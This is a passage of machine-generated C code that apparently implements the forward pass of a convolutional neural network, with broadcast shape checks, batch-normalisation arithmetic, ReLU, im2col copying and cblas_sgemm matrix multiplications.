x7102 >= 2;\nif (x7103) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7108 = x7102 == 0;\nif (x7108) {\nint32_t x7109 = x7097;\nbool x7110 = x7109 == 512;\nif (x7110) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7117 = x7097;\nbool x7119 = x7048 == 1;\nint32_t x7118 = 512 / x7117;\nbool x7120 = x7118 == 1;\nbool x7124;\nif (x454) {\nbool x7121 = x7119 || x7120;\nbool x7122 = x7048 == x7118;\nbool x7123 = x7121 || x7122;\nx7124 = x7123;\n} else {\nx7124 = false;\n}\nbool x7128;\nif (x7124) {\nx7128 = x7127;\n} else {\nx7128 = false;\n}\nbool x7129;\nif (x7128) {\nx7129 = x7127;\n} else {\nx7129 = false;\n}\nif (x7129) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x7048,x7050,x7050,1,x7118,1,1);\nassert(false && \"\");\n}\nbool x7135 = x7048 <= x7118;\nint32_t x7136;\nif (x7135) {\nx7136 = x7118;\n} else {\nx7136 = x7048;\n}\nint32_t x7145 = x7136 * x7144;\nint32_t x7146 = 64 * x7145;\nfloat* x7147 = (float*)myMalloc(x7146 * sizeof(float));;\nint32_t x7148;\nif (x7119) {\nx7148 = 0;\n} else {\nx7148 = x7056;\n}\nint32_t x7151;\nif (x7120) {\nx7151 = 0;\n} else {\nx7151 = 1;\n}\nfor(int x7152=0; x7152 < 64; x7152++) {\nint32_t x7164 = x7057 * x7152;\nint32_t x7158 = x7145 * x7152;\nfor(int x7154=0; x7154 < x7136; x7154++) {\nint32_t x7165 = x7148 * x7154;\nint32_t x7166 = x7164 + x7165;\nint32_t x7171 = x7151 * x7154;\nint32_t x7160 = x7144 * x7154;\nfor(int x7156=0; x7156 < x7138; x7156++) {\nint32_t x7167 = x7149 * x7156;\nint32_t x7168 = x7166 + x7167;\nint32_t x7162 = x7138 * x7156;\nfor(int x7157=0; x7157 < x7138; x7157++) {\nint32_t x7169 = x7150 * x7157;\nint32_t x7170 = x7168 + x7169;\nfloat x7172 = x7059[x7170];\nfloat x7173 = x207[x7171];\nint32_t x7159 = x7157 + x7158;\nint32_t x7161 = x7159 + x7160;\nint32_t x7163 = x7161 + x7162;\nfloat x7174 = x7172 * x7173;\nx7147[x7163] = x7174;\n\n}\n\n}\n\n}\n\n}\nint32_t x7184 = 0;\nint32_t x7185 = 1;\nx7185 *= 1;\nx7184 += 1;\nx7185 *= 1;\nx7185 *= 1;\nint32_t x7190 = x7184;\nbool x7191 = x7190 >= 2;\nif (x7191) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7196 = x7190 == 0;\nif (x7196) {\nint32_t x7197 = x7185;\nbool x7198 = x7197 == 512;\nif (x7198) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7205 = x7185;\nbool x7207 = x7136 == 1;\nint32_t x7206 = 512 / x7205;\nbool x7208 = x7206 == 1;\nbool x7212;\nif (x454) {\nbool x7209 = x7207 || x7208;\nbool x7210 = x7136 == x7206;\nbool x7211 = x7209 || x7210;\nx7212 = x7211;\n} else {\nx7212 = false;\n}\nbool x7216;\nif (x7212) {\nx7216 = x7215;\n} else {\nx7216 = false;\n}\nbool x7217;\nif (x7216) {\nx7217 = x7215;\n} else {\nx7217 = false;\n}\nif (x7217) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x7136,x7138,x7138,1,x7206,1,1);\nassert(false && \"\");\n}\nbool x7223 = x7136 <= x7206;\nint32_t x7224;\nif (x7223) {\nx7224 = x7206;\n} else {\nx7224 = x7136;\n}\nint32_t x7233 = x7224 * x7232;\nint32_t x7234 = 64 * x7233;\nfloat* x7235 = (float*)myMalloc(x7234 * sizeof(float));;\nint32_t x7236;\nif (x7207) {\nx7236 = 0;\n} else {\nx7236 = x7144;\n}\nint32_t x7239;\nif (x7208) {\nx7239 = 0;\n} else {\nx7239 = 1;\n}\nfor(int x7240=0; x7240 < 64; x7240++) {\nint32_t x7252 = x7145 * x7240;\nint32_t x7246 = x7233 * x7240;\nfor(int x7242=0; x7242 < x7224; x7242++) {\nint32_t x7253 = x7236 * x7242;\nint32_t x7254 = x7252 + x7253;\nint32_t x7259 = x7239 * x7242;\nint32_t x7248 = x7232 * x7242;\nfor(int x7244=0; x7244 < x7226; x7244++) {\nint32_t x7255 = x7237 * x7244;\nint32_t x7256 = x7254 + x7255;\nint32_t x7250 = x7226 * x7244;\nfor(int x7245=0; x7245 < x7226; x7245++) {\nint32_t x7257 = x7238 * x7245;\nint32_t x7258 = x7256 + x7257;\nfloat x7260 = x7147[x7258];\nfloat x7261 = x119[x7259];\nint32_t x7247 = x7245 + x7246;\nint32_t x7249 = x7247 + x7248;\nint32_t x7251 = x7249 + x7250;\nfloat x7262 = x7260 + x7261;\nx7235[x7251] = x7262;\n\n}\n\n}\n\n}\n\n}\nbool x7272 = x6800 == 1;\nbool x7273 = x7224 == 1;\nbool x7274 = x7272 || x7273;\nbool x7275 = x6800 == x7224;\nbool x7276 = x7274 || x7275;\nbool x7282;\nif (x7276) {\nx7282 = x7281;\n} else {\nx7282 = false;\n}\nbool x7283;\nif (x7282) {\nx7283 = x7281;\n} else {\nx7283 = false;\n}\nif (x7283) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6800,x6802,x6802,64,x7224,x7226,x7226);\nassert(false && \"\");\n}\nbool x7289 = x6800 <= x7224;\nint32_t x7290;\nif (x7289) {\nx7290 = x7224;\n} else {\nx7290 = x6800;\n}\nint32_t x7306;\nif (x7272) {\nx7306 = 0;\n} else {\nx7306 = x6808;\n}\nint32_t x7309;\nif (x7273) {\nx7309 = 0;\n} else {\nx7309 = x7232;\n}\nfor(int x7312=0; x7312 < 64; x7312++) {\nint32_t x7318 = x6809 * x7312;\nint32_t x7325 = x7233 * x7312;\nfor(int x7314=0; x7314 < x7290; x7314++) {\nint32_t x7319 = x7306 * x7314;\nint32_t x7320 = x7318 + x7319;\nint32_t x7326 = x7309 * x7314;\nint32_t x7327 = x7325 + x7326;\nfor(int x7316=0; x7316 < x7292; x7316++) {\nint32_t x7321 = x7307 * x7316;\nint32_t x7322 = x7320 + x7321;\nint32_t x7328 = x7310 * x7316;\nint32_t x7329 = x7327 + x7328;\nfor(int x7317=0; x7317 < x7292; x7317++) {\nint32_t x7323 = x7308 * x7317;\nint32_t x7324 = x7322 + x7323;\nfloat x7332 = x6811[x7324];\nint32_t x7330 = x7311 * x7317;\nint32_t x7331 = x7329 + x7330;\nfloat x7333 = x7235[x7331];\nfloat x7334 = x7332 + x7333;\nx6811[x7324] = x7334;\n\n}\n\n}\n\n}\n\n}\nfloat* x7344 = (float*)myMalloc(x6810 * sizeof(float));;\nfor(int x7346=0; x7346 < x6810; x7346++) {\nfloat x7347 = x6811[x7346];\nbool x7348 = x7347 < 0.0f;\nif (x7348) {\nx7344[x7346] = 0.0f;\n} else {\nfloat x7351 = x6811[x7346];\nx7344[x7346] = x7351;\n}\n\n}\nfloat* x7365 = (float*)myMalloc(x7364 * sizeof(float));;\nint32_t x7368 = 64 * x6800;\nint32_t x7369 = x7368 * x7360;\nfloat* x7370 = (float*)myMalloc(x7369 * sizeof(float));;\nint32_t x7366 = x6800 * x7360;\nfor(int x7371=0; x7371 < 64; x7371++) {\nint32_t x7372 = x7371 * x6809;\nfloat* x7373 = x7344+x7372;\nint32_t x7374 = x7371 * x7361;\nfloat* x7375 = x7365+x7374;\nint32_t x7376 = x7371 * x7366;\nfloat* x7377 = x7370+x7376;\nfor(int x7378=0; x7378 < x6800; x7378++) {\nint32_t x7379 = x7378 / 1;\nint32_t x7383 = x7379 * x7359;\nint32_t x7384 = x7383 * x7359;\nint32_t x7380 = x7378 % 1;\nint32_t x7381 = x7380 / 1;\nint32_t x7385 = x7381 * x7359;\nint32_t x7386 = x7385 * x7359;\nint32_t x7387 = x7384 + x7386;\nint32_t x7382 = x7380 % 1;\nint32_t x7388 = x7382 * x7359;\nint32_t x7389 = x7388 * x7359;\nint32_t x7390 = x7387 + x7389;\nfloat* x7391 = x7377+x7390;\nint32_t x7392 = x7379 * x6802;\nint32_t x7393 = x7392 * x6802;\nfloat* x7394 = x7373+x7393;\nfor(int x7396=0; x7396 < x7359; x7396++) {\nint32_t x7398 = x7396 * x7359;\nfloat* x7399 = x7391+x7398;\nint32_t x7397 = x7396 + x7381;\nint32_t x7400 = x7397 * x6802;\nint32_t x7401 = x7400 + x7382;\nfloat* x7402 = x7394+x7401;\nmemcpy(x7399, x7402, 4 * x7359);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x7360,x6800,1,x256,x6800,x7377,x7360,1,x7375,x7360);\n\n}\nint32_t x7411 = 0;\nint32_t x7412 = 1;\nx7412 *= 1;\nx7411 += 1;\nx7412 *= 1;\nx7412 *= 1;\nint32_t x7417 = x7411;\nbool x7418 = x7417 >= 2;\nif (x7418) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7423 = x7417 == 0;\nif (x7423) {\nint32_t x7424 = x7412;\nbool x7425 = x7424 == 128;\nif (x7425) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7432 = x7412;\nint32_t x7433 = 128 / x7432;\nbool x7434 = x7433 == 1;\nbool x7437;\nif (x454) {\nbool x7435 = 128 == x7433;\nbool x7436 = x7434 || x7435;\nx7437 = x7436;\n} else {\nx7437 = false;\n}\nbool x7441;\nif (x7437) {\nx7441 = x7440;\n} else {\nx7441 = false;\n}\nbool x7442;\nif (x7441) {\nx7442 = x7440;\n} else {\nx7442 = false;\n}\nif (x7442) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x7359,x7359,1,x7433,1,1);\nassert(false && \"\");\n}\nbool x7448 = 128 <= x7433;\nint32_t x7449;\nif (x7448) {\nx7449 = x7433;\n} else {\nx7449 = 128;\n}\nint32_t x7458 = x7449 * x7457;\nint32_t x7459 = 64 * x7458;\nfloat* x7460 = (float*)myMalloc(x7459 * sizeof(float));;\nint32_t x7463;\nif (x7434) {\nx7463 = 0;\n} else {\nx7463 = 1;\n}\nfor(int x7464=0; x7464 < 64; x7464++) {\nint32_t x7476 = x7361 * x7464;\nint32_t x7470 = x7458 * x7464;\nfor(int x7466=0; x7466 < x7449; x7466++) {\nint32_t x7477 = x7360 * x7466;\nint32_t x7478 = x7476 + x7477;\nint32_t x7483 = x7463 * x7466;\nint32_t x7472 = x7457 * x7466;\nfor(int x7468=0; x7468 < x7451; x7468++) {\nint32_t x7479 = x7461 * x7468;\nint32_t x7480 = x7478 + x7479;\nint32_t x7474 = x7451 * x7468;\nfor(int x7469=0; x7469 < x7451; x7469++) {\nint32_t x7481 = x7462 * x7469;\nint32_t x7482 = x7480 + x7481;\nfloat x7484 = x7365[x7482];\nfloat x7485 = x100[x7483];\nint32_t x7471 = x7469 + x7470;\nint32_t x7473 = x7471 + x7472;\nint32_t x7475 = x7473 + x7474;\nfloat x7486 = x7484 - x7485;\nx7460[x7475] = x7486;\n\n}\n\n}\n\n}\n\n}\nfloat* x7496 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x7497=0; x7497 < 128; x7497++) {\nfloat x7498 = x177[x7497];\nfloat x7499 = x7498 + 1.0E-5f;\nx7496[x7497] = x7499;\n\n}\nfloat* x7503 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x7504=0; x7504 < 128; x7504++) {\nfloat x7505 = x7496[x7504];\ndouble x7506 = (double)x7505;\ndouble x7507 = sqrt(x7506);\nfloat x7508 = (float)x7507;\nx7503[x7504] = x7508;\n\n}\nint32_t x7512 = 0;\nint32_t x7513 = 1;\nx7513 *= 1;\nx7512 += 1;\nx7513 *= 1;\nx7513 *= 1;\nint32_t x7518 = x7512;\nbool x7519 = x7518 >= 2;\nif (x7519) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7524 = x7518 == 0;\nif (x7524) {\nint32_t x7525 = x7513;\nbool x7526 = x7525 == 128;\nif (x7526) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7533 = x7513;\nbool x7535 = x7449 == 1;\nint32_t x7534 = 128 / x7533;\nbool x7536 = x7534 == 1;\nbool x7540;\nif (x454) {\nbool x7537 = x7535 || x7536;\nbool x7538 = x7449 == x7534;\nbool x7539 = x7537 || x7538;\nx7540 = x7539;\n} else {\nx7540 = false;\n}\nbool x7544;\nif (x7540) {\nx7544 = x7543;\n} else {\nx7544 = false;\n}\nbool x7545;\nif (x7544) {\nx7545 = x7543;\n} else {\nx7545 = false;\n}\nif (x7545) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x7449,x7451,x7451,1,x7534,1,1);\nassert(false && \"\");\n}\nbool x7551 = x7449 <= x7534;\nint32_t x7552;\nif (x7551) {\nx7552 = x7534;\n} else {\nx7552 = x7449;\n}\nint32_t x7561 = x7552 * x7560;\nint32_t x7562 = 64 * x7561;\nfloat* x7563 = (float*)myMalloc(x7562 * sizeof(float));;\nint32_t x7564;\nif (x7535) {\nx7564 = 0;\n} else {\nx7564 = x7457;\n}\nint32_t x7567;\nif (x7536) {\nx7567 = 0;\n} else {\nx7567 = 1;\n}\nfor(int x7568=0; x7568 < 64; x7568++) {\nint32_t x7580 = x7458 * x7568;\nint32_t x7574 = x7561 * x7568;\nfor(int x7570=0; x7570 < x7552; x7570++) {\nint32_t x7581 = x7564 * x7570;\nint32_t x7582 = x7580 + x7581;\nint32_t x7587 = x7567 * x7570;\nint32_t x7576 = x7560 * x7570;\nfor(int x7572=0; x7572 < x7554; x7572++) {\nint32_t x7583 = x7565 * x7572;\nint32_t x7584 = x7582 + x7583;\nint32_t x7578 = x7554 * x7572;\nfor(int x7573=0; x7573 < x7554; x7573++) {\nint32_t x7585 = x7566 * x7573;\nint32_t x7586 = x7584 + x7585;\nfloat x7588 = x7460[x7586];\nfloat x7589 = x7503[x7587];\nint32_t x7575 = x7573 + x7574;\nint32_t x7577 = x7575 + x7576;\nint32_t x7579 = x7577 + x7578;\nfloat x7590 = x7588 / x7589;\nx7563[x7579] = x7590;\n\n}\n\n}\n\n}\n\n}\nint32_t x7600 = 0;\nint32_t x7601 = 1;\nx7601 *= 1;\nx7600 += 1;\nx7601 *= 1;\nx7601 *= 1;\nint32_t x7606 = x7600;\nbool x7607 = x7606 >= 2;\nif (x7607) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7612 = x7606 == 0;\nif (x7612) {\nint32_t x7613 = x7601;\nbool x7614 = x7613 == 128;\nif (x7614) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7621 = x7601;\nbool x7623 = x7552 == 1;\nint32_t x7622 = 128 / x7621;\nbool x7624 = x7622 == 1;\nbool x7628;\nif (x454) {\nbool x7625 = x7623 || x7624;\nbool x7626 = x7552 == x7622;\nbool x7627 = x7625 || x7626;\nx7628 = x7627;\n} else {\nx7628 = false;\n}\nbool x7632;\nif (x7628) {\nx7632 = x7631;\n} else {\nx7632 = false;\n}\nbool x7633;\nif (x7632) {\nx7633 = x7631;\n} else {\nx7633 = false;\n}\nif (x7633) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x7552,x7554,x7554,1,x7622,1,1);\nassert(false && \"\");\n}\nbool x7639 = x7552 <= x7622;\nint32_t x7640;\nif (x7639) {\nx7640 = x7622;\n} else {\nx7640 = x7552;\n}\nint32_t x7649 = x7640 * x7648;\nint32_t x7650 = 64 * x7649;\nfloat* x7651 = (float*)myMalloc(x7650 * sizeof(float));;\nint32_t x7652;\nif (x7623) {\nx7652 = 0;\n} else {\nx7652 = x7560;\n}\nint32_t x7655;\nif (x7624) {\nx7655 = 0;\n} else {\nx7655 = 1;\n}\nfor(int x7656=0; x7656 < 64; x7656++) {\nint32_t x7668 = x7561 * x7656;\nint32_t x7662 = x7649 * x7656;\nfor(int x7658=0; x7658 < x7640; x7658++) {\nint32_t x7669 = x7652 * x7658;\nint32_t x7670 = x7668 + x7669;\nint32_t x7675 = x7655 * x7658;\nint32_t x7664 = x7648 * x7658;\nfor(int x7660=0; x7660 < x7642; x7660++) {\nint32_t x7671 = x7653 * x7660;\nint32_t x7672 = x7670 + x7671;\nint32_t x7666 = x7642 * x7660;\nfor(int x7661=0; x7661 < x7642; x7661++) {\nint32_t x7673 = x7654 * x7661;\nint32_t x7674 = x7672 + x7673;\nfloat x7676 = x7563[x7674];\nfloat x7677 = x222[x7675];\nint32_t x7663 = x7661 + x7662;\nint32_t x7665 = x7663 + x7664;\nint32_t x7667 = x7665 + x7666;\nfloat x7678 = x7676 * x7677;\nx7651[x7667] = x7678;\n\n}\n\n}\n\n}\n\n}\nint32_t x7688 = 0;\nint32_t x7689 = 1;\nx7689 *= 1;\nx7688 += 1;\nx7689 *= 1;\nx7689 *= 1;\nint32_t x7694 = x7688;\nbool x7695 = x7694 >= 2;\nif (x7695) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7700 = x7694 == 0;\nif (x7700) {\nint32_t x7701 = x7689;\nbool x7702 = x7701 == 128;\nif (x7702) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7709 = x7689;\nbool x7711 = x7640 == 1;\nint32_t x7710 = 128 / x7709;\nbool x7712 = x7710 == 1;\nbool x7716;\nif (x454) {\nbool x7713 = x7711 || x7712;\nbool x7714 = x7640 == x7710;\nbool x7715 = x7713 || x7714;\nx7716 = x7715;\n} else {\nx7716 = false;\n}\nbool x7720;\nif (x7716) {\nx7720 = x7719;\n} else {\nx7720 = false;\n}\nbool x7721;\nif (x7720) {\nx7721 = x7719;\n} else {\nx7721 = false;\n}\nif (x7721) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x7640,x7642,x7642,1,x7710,1,1);\nassert(false && \"\");\n}\nbool x7727 = x7640 <= x7710;\nint32_t x7728;\nif (x7727) {\nx7728 = x7710;\n} else {\nx7728 = x7640;\n}\nint32_t x7737 = x7728 * x7736;\nint32_t x7738 = 64 * x7737;\nfloat* x7739 = (float*)myMalloc(x7738 * sizeof(float));;\nint32_t x7740;\nif (x7711) {\nx7740 = 0;\n} else {\nx7740 = x7648;\n}\nint32_t x7743;\nif (x7712) {\nx7743 = 0;\n} else {\nx7743 = 1;\n}\nfor(int x7744=0; x7744 < 64; x7744++) {\nint32_t x7756 = x7649 * x7744;\nint32_t x7750 = x7737 * x7744;\nfor(int x7746=0; x7746 < x7728; x7746++) {\nint32_t x7757 = x7740 * x7746;\nint32_t x7758 = x7756 + x7757;\nint32_t x7763 = x7743 * x7746;\nint32_t x7752 = x7736 * x7746;\nfor(int x7748=0; x7748 < x7730; x7748++) {\nint32_t x7759 = x7741 * x7748;\nint32_t x7760 = x7758 + x7759;\nint32_t x7754 = x7730 * x7748;\nfor(int x7749=0; x7749 < x7730; x7749++) {\nint32_t x7761 = x7742 * x7749;\nint32_t x7762 = x7760 + x7761;\nfloat x7764 = x7651[x7762];\nfloat x7765 = x17[x7763];\nint32_t x7751 = x7749 + x7750;\nint32_t x7753 = x7751 + x7752;\nint32_t x7755 = x7753 + x7754;\nfloat x7766 = x7764 + x7765;\nx7739[x7755] = x7766;\n\n}\n\n}\n\n}\n\n}\nfloat* x7776 = (float*)myMalloc(x7738 * sizeof(float));;\nfor(int x7778=0; x7778 < x7738; x7778++) {\nfloat x7779 = x7739[x7778];\nbool x7780 = x7779 < 0.0f;\nif (x7780) {\nx7776[x7778] = 0.0f;\n} else {\nfloat x7783 = x7739[x7778];\nx7776[x7778] = x7783;\n}\n\n}\nfloat* x7798 = (float*)myMalloc(x7797 * sizeof(float));;\nint32_t x7799 = 9 * x7728;\nint32_t x7802 = 64 * x7799;\nint32_t x7803 = x7802 * x7793;\nfloat* x7804 = (float*)myMalloc(x7803 * sizeof(float));;\nint32_t x7800 = x7799 * x7793;\nint32_t x7812 = x7728 * 3;\nint32_t x7813 = x7812 * 3;\nfor(int x7805=0; x7805 < 64; x7805++) {\nint32_t x7806 = x7805 * x7737;\nfloat* x7807 = x7776+x7806;\nint32_t x7808 = x7805 * x7794;\nfloat* x7809 = x7798+x7808;\nint32_t x7810 = x7805 * x7800;\nfloat* x7811 = x7804+x7810;\nfor(int x7815=0; x7815 < x7813; x7815++) {\nint32_t x7816 = x7815 / 9;\nint32_t x7820 = x7816 * 3;\nint32_t x7821 = x7820 * 3;\nint32_t x7822 = x7821 * x7792;\nint32_t x7823 = x7822 * x7792;\nint32_t x7817 = x7815 % 9;\nint32_t x7818 = x7817 / 3;\nint32_t x7824 = x7818 * 3;\nint32_t x7825 = x7824 * x7792;\nint32_t x7826 = x7825 * x7792;\nint32_t x7827 = x7823 + x7826;\nint32_t x7819 = x7817 % 3;\nint32_t x7828 = x7819 * x7792;\nint32_t x7829 = x7828 * x7792;\nint32_t x7830 = x7827 + x7829;\nfloat* x7831 = x7811+x7830;\nint32_t x7832 = x7816 * x7730;\nint32_t x7833 = x7832 * x7730;\nfloat* x7834 = x7807+x7833;\nint32_t x7847 = 1 - x7819;\nbool x7848 = x7847 > 0;\nint32_t x7849;\nif (x7848) {\nx7849 = x7847;\n} else {\nx7849 = 0;\n}\nint32_t x7850 = 3 - x7819;\nint32_t x7851 = x7850 - 1;\nint32_t x7852 = 1 - x7851;\nbool x7853 = x7852 > 0;\nint32_t x7854;\nif (x7853) {\nx7854 = x7852;\n} else {\nx7854 = 0;\n}\nint32_t x7855 = x7792 - x7854;\nint32_t x7856 = x7855 - x7849;\nbool x7857 = x7856 <= 0;\nbool x7861 = x7849 > 0;\nint32_t x7846 = -1 + x7819;\nbool x7874 = x7854 > 0;\nfor(int x7836=0; x7836 < x7792; x7836++) {\nint32_t x7837 = x7836 - 1;\nint32_t x7838 = x7837 + x7818;\nbool x7839 = x7838 < 0;\nbool x7840 = x7838 >= x7730;\nbool x7841 = x7839 || x7840;\nif (x7841) {\nint32_t x7842 = x7836 * x7792;\nfloat* x7843 = x7831+x7842;\nmemset(x7843, 0, 4 * x7792);;\n} else {\nif (x7857) {\nint32_t x7842 = x7836 * x7792;\nfloat* x7858 = x7831+x7842;\nmemset(x7858, 0, 4 * x7792);;\n} else {\nint32_t x7842 = x7836 * x7792;\nif (x7861) {\nfloat* x7862 = x7831+x7842;\nmemset(x7862, 0, 4 * x7849);;\n} else {\n}\n// may have segfault here\nint32_t x7867 = x7842 + x7849;\nfloat* x7868 = x7831+x7867;\nint32_t x7869 = x7838 * x7730;\nint32_t x7870 = x7869 + x7846;\nint32_t x7871 = x7870 + x7849;\nfloat* x7872 = x7834+x7871;\nmemcpy(x7868, x7872, 4 * x7856);;\nif (x7874) {\nint32_t x7875 = x7842 + x7792;\nint32_t x7876 = x7875 - x7854;\nfloat* x7877 = x7831+x7876;\nmemset(x7877, 0, 4 * x7854);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x7793,x7799,1,x235,x7799,x7811,x7793,1,x7809,x7793);\n\n}\nint32_t x7892 = 0;\nint32_t x7893 = 1;\nx7893 *= 1;\nx7892 += 1;\nx7893 *= 1;\nx7893 *= 1;\nint32_t x7898 = x7892;\nbool x7899 = x7898 >= 2;\nif (x7899) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7904 = x7898 == 0;\nif (x7904) {\nint32_t x7905 = x7893;\nbool x7906 = x7905 == 128;\nif (x7906) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7913 = x7893;\nint32_t x7914 = 128 / x7913;\nbool x7915 = x7914 == 1;\nbool x7918;\nif (x454) {\nbool x7916 = 128 == x7914;\nbool x7917 = x7915 || x7916;\nx7918 = x7917;\n} else {\nx7918 = false;\n}\nbool x7922;\nif (x7918) {\nx7922 = x7921;\n} else {\nx7922 = false;\n}\nbool x7923;\nif (x7922) {\nx7923 = x7921;\n} else {\nx7923 = false;\n}\nif (x7923) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x7792,x7792,1,x7914,1,1);\nassert(false && \"\");\n}\nbool x7929 = 128 <= x7914;\nint32_t x7930;\nif (x7929) {\nx7930 = x7914;\n} else {\nx7930 = 128;\n}\nint32_t x7939 = x7930 * x7938;\nint32_t x7940 = 64 * x7939;\nfloat* x7941 = (float*)myMalloc(x7940 * sizeof(float));;\nint32_t x7944;\nif (x7915) {\nx7944 = 0;\n} else {\nx7944 = 1;\n}\nfor(int x7945=0; x7945 < 64; x7945++) {\nint32_t x7957 = x7794 * x7945;\nint32_t x7951 = x7939 * x7945;\nfor(int x7947=0; x7947 < x7930; x7947++) {\nint32_t x7958 = x7793 * x7947;\nint32_t x7959 = x7957 + x7958;\nint32_t x7964 = x7944 * x7947;\nint32_t x7953 = x7938 * x7947;\nfor(int x7949=0; x7949 < x7932; x7949++) {\nint32_t x7960 = x7942 * x7949;\nint32_t x7961 = x7959 + x7960;\nint32_t x7955 = x7932 * x7949;\nfor(int x7950=0; x7950 < x7932; x7950++) {\nint32_t x7962 = x7943 * x7950;\nint32_t x7963 = x7961 + x7962;\nfloat x7965 = x7798[x7963];\nfloat x7966 = x35[x7964];\nint32_t x7952 = x7950 + x7951;\nint32_t x7954 = x7952 + x7953;\nint32_t x7956 = x7954 + x7955;\nfloat x7967 = x7965 - x7966;\nx7941[x7956] = x7967;\n\n}\n\n}\n\n}\n\n}\nfloat* x7977 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x7978=0; x7978 < 128; x7978++) {\nfloat x7979 = x225[x7978];\nfloat x7980 = x7979 + 1.0E-5f;\nx7977[x7978] = x7980;\n\n}\nfloat* x7984 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x7985=0; x7985 < 128; x7985++) {\nfloat x7986 = x7977[x7985];\ndouble x7987 = (double)x7986;\ndouble x7988 = sqrt(x7987);\nfloat x7989 = (float)x7988;\nx7984[x7985] = x7989;\n\n}\nint32_t x7993 = 0;\nint32_t x7994 = 1;\nx7994 *= 1;\nx7993 += 1;\nx7994 *= 1;\nx7994 *= 1;\nint32_t x7999 = x7993;\nbool x8000 = x7999 >= 2;\nif (x8000) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8005 = x7999 == 0;\nif (x8005) {\nint32_t x8006 = x7994;\nbool x8007 = x8006 == 128;\nif (x8007) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8014 = x7994;\nbool x8016 = x7930 == 1;\nint32_t x8015 = 128 / x8014;\nbool x8017 = x8015 == 1;\nbool x8021;\nif (x454) {\nbool x8018 = x8016 || x8017;\nbool x8019 = x7930 == x8015;\nbool x8020 = x8018 || x8019;\nx8021 = x8020;\n} else {\nx8021 = false;\n}\nbool x8025;\nif (x8021) {\nx8025 = x8024;\n} else {\nx8025 = false;\n}\nbool x8026;\nif (x8025) {\nx8026 = x8024;\n} else {\nx8026 = false;\n}\nif (x8026) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x7930,x7932,x7932,1,x8015,1,1);\nassert(false && \"\");\n}\nbool x8032 = x7930 <= x8015;\nint32_t x8033;\nif (x8032) {\nx8033 = x8015;\n} else {\nx8033 = x7930;\n}\nint32_t x8042 = x8033 * x8041;\nint32_t x8043 = 64 * x8042;\nfloat* x8044 = (float*)myMalloc(x8043 * sizeof(float));;\nint32_t x8045;\nif (x8016) {\nx8045 = 0;\n} else {\nx8045 = x7938;\n}\nint32_t x8048;\nif (x8017) {\nx8048 = 0;\n} else {\nx8048 = 1;\n}\nfor(int x8049=0; x8049 < 64; x8049++) {\nint32_t x8061 = x7939 * x8049;\nint32_t x8055 = x8042 * x8049;\nfor(int x8051=0; x8051 < x8033; x8051++) {\nint32_t x8062 = x8045 * x8051;\nint32_t x8063 = x8061 + x8062;\nint32_t x8068 = x8048 * x8051;\nint32_t x8057 = x8041 * x8051;\nfor(int x8053=0; x8053 < x8035; x8053++) {\nint32_t x8064 = x8046 * x8053;\nint32_t x8065 = x8063 + x8064;\nint32_t x8059 = x8035 * x8053;\nfor(int x8054=0; x8054 < x8035; x8054++) {\nint32_t x8066 = x8047 * x8054;\nint32_t x8067 = x8065 + x8066;\nfloat x8069 = x7941[x8067];\nfloat x8070 = x7984[x8068];\nint32_t x8056 = x8054 + x8055;\nint32_t x8058 = x8056 + x8057;\nint32_t x8060 = x8058 + x8059;\nfloat x8071 = x8069 / x8070;\nx8044[x8060] = x8071;\n\n}\n\n}\n\n}\n\n}\nint32_t x8081 = 0;\nint32_t x8082 = 1;\nx8082 *= 1;\nx8081 += 1;\nx8082 *= 1;\nx8082 *= 1;\nint32_t x8087 = x8081;\nbool x8088 = x8087 >= 2;\nif (x8088) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8093 = x8087 == 0;\nif (x8093) 